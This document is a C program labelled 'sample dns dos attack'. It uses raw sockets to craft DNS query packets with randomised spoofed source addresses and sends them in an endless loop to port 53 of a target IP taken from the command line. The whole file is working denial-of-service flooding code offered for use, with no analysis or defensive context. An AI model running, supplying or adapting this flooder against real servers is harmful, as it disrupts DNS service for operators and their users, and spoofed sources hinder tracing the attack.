/*********************
sample dns dos attack
*********************/
#include<arpa/nameser.h>
#include<stdio.h>
#include<sys/types.h>
#include<string.h>
#include<sys/socket.h>
#include<unistd.h>
#include<stdlib.h>
#include<netinet/in.h>
#include<time.h>
#include<netinet/ip.h>
#include<netdb.h>
#include<arpa/inet.h>
struct ipheader           //ip header
{
  unsigned char ip_hl:4,ip_v:4;//
  unsigned char ip_tos;        //
  unsigned short int ip_len;   //
  unsigned short int ip_id;    //
  unsigned short int ip_off;   //
  unsigned char ip_ttl;       //
  unsigned char ip_p;       //
  unsigned short int ip_sum;   //
  unsigned int ip_src;       //
  unsigned int ip_dst;      //
};
struct udpheader         //udp header
{
  unsigned short int port_src; //
  unsigned short int port_dst; //
  unsigned short int udp_len;  //
  unsigned short int udp_sum;  //
};
struct dns_msg          //send bag
{
  struct ipheader ip;         //ip
  struct udpheader udp;    //udp
  HEADER dnshead;        //dns
  char dnsbuf[100];      //udp
};
u_short checksum(u_short *addr,int len)//
{ 
  u_int32_t sum=0;  
  u_int16_t *ad=addr,result; 
  while(len>1)      
  {        
    sum+=*ad++;        //
    len-=2; 
  } 
  sum=(sum>>16)+(sum&0xffff); //
  sum+=(sum>>16);        
  result=~sum;        //
  return(result);
}
int main(int argc,char **argv)
{ 
    int sockfd;
  int ord;
  int i,j,k,l,m;
  int num=0;
  struct sockaddr_in my_addr;
  struct dns_msg dns_data;//send bag
  srand(time(NULL));
  if(argc!=2)
  {
    printf("agrc!=2 agrc =attack dst ip \n");
    exit(0);
  }
  if((sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_RAW))<0)//
  {
    printf("socket err\n");
    exit(0);
  } 
  if(setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&ord,sizeof(ord))<0)//
  {
    printf("setsockopt err");
    exit(0);
  }
  my_addr.sin_addr.s_addr=inet_addr(argv[1]); //
  my_addr.sin_family=AF_INET;
  my_addr.sin_port=htons(53);
  /*sample construct boucle*/
  for(i=97;i<123;i++)
    for(j=97;j<123;j++)
      for(k=97;k<123;k++)
      {
        i=97;j=97;k=97;
        printf("%d\n",num);
        num++;
        bzero(&dns_data,sizeof(struct dns_msg));
        //fill  ip head
        dns_data.ip.ip_v=4;
        dns_data.ip.ip_hl=(sizeof(struct ip)/4);
        dns_data.ip.ip_tos=0;
        // dns_data.ip.ip_len=sizeof(dns_data);
        dns_data.ip.ip_id=random();
        dns_data.ip.ip_off=0;
        dns_data.ip.ip_ttl=255;
        dns_data.ip.ip_p=IPPROTO_UDP;
        dns_data.ip.ip_sum=0;
        dns_data.ip.ip_dst=my_addr.sin_addr.s_addr;
        dns_data.ip.ip_src=random();  
        //fill  udp head
        dns_data.udp.port_dst=htons(53);
        dns_data.udp.port_src=htons(1024+(rand()%2000));//
        dns_data.udp.udp_len=htons(31);//htons(sizeof(struct dns_msg)-sizeof(struct ipheader));
        dns_data.udp.udp_sum=0;
        //fill  dns head
        dns_data.dnshead.id=random();
        dns_data.dnshead.rd=0;
        dns_data.dnshead.ra=1;//
        dns_data.dnshead.aa=0;//
        dns_data.dnshead.tc=0; //
        dns_data.dnshead.opcode=QUERY;//
        dns_data.dnshead.qdcount=htons(1);//
        dns_data.dnshead.ancount=htons(0);//
        dns_data.dnshead.nscount=htons(0);//
        dns_data.dnshead.arcount=htons(0);//
        dns_data.dnshead.qr=0;//query bag
        //fill domain query
        dns_data.dnsbuf[0]=1;
        dns_data.dnsbuf[1]=i;
        dns_data.dnsbuf[2]=1;
        dns_data.dnsbuf[3]=j;
        dns_data.dnsbuf[4]=1;
        dns_data.dnsbuf[5]=k;
        dns_data.dnsbuf[6]=0;
        dns_data.dnsbuf[8]=1;
        dns_data.dnsbuf[10]=1;
        dns_data.dnshead.id=random();              
        //fill checksum
        u_char *pseudo,pseudoHead[44];//
        bzero(pseudoHead,44);
        pseudo=pseudoHead;
        memcpy(pseudo,&(dns_data.ip.ip_src),8);
        pseudo+=9; 
        memcpy(pseudo,&(dns_data.ip.ip_p),1);
        pseudo++;
        memcpy(pseudo,&(dns_data.udp.udp_len),2);
        pseudo+=2;
        memcpy(pseudo,&(dns_data.udp),sizeof(struct udpheader));
        pseudo+=8;
        memcpy(pseudo,&(dns_data.dnshead),sizeof(HEADER));
        pseudo+=12;
        memcpy(pseudo,&(dns_data.dnsbuf),11);//strlen(dns_data.dnsbuf));
        dns_data.udp.udp_sum=checksum((u_short *)pseudoHead,44);
        sendto(sockfd,&dns_data,51,0,(struct sockaddr *)&my_addr,sizeof(struct sockaddr_in));//
      }
}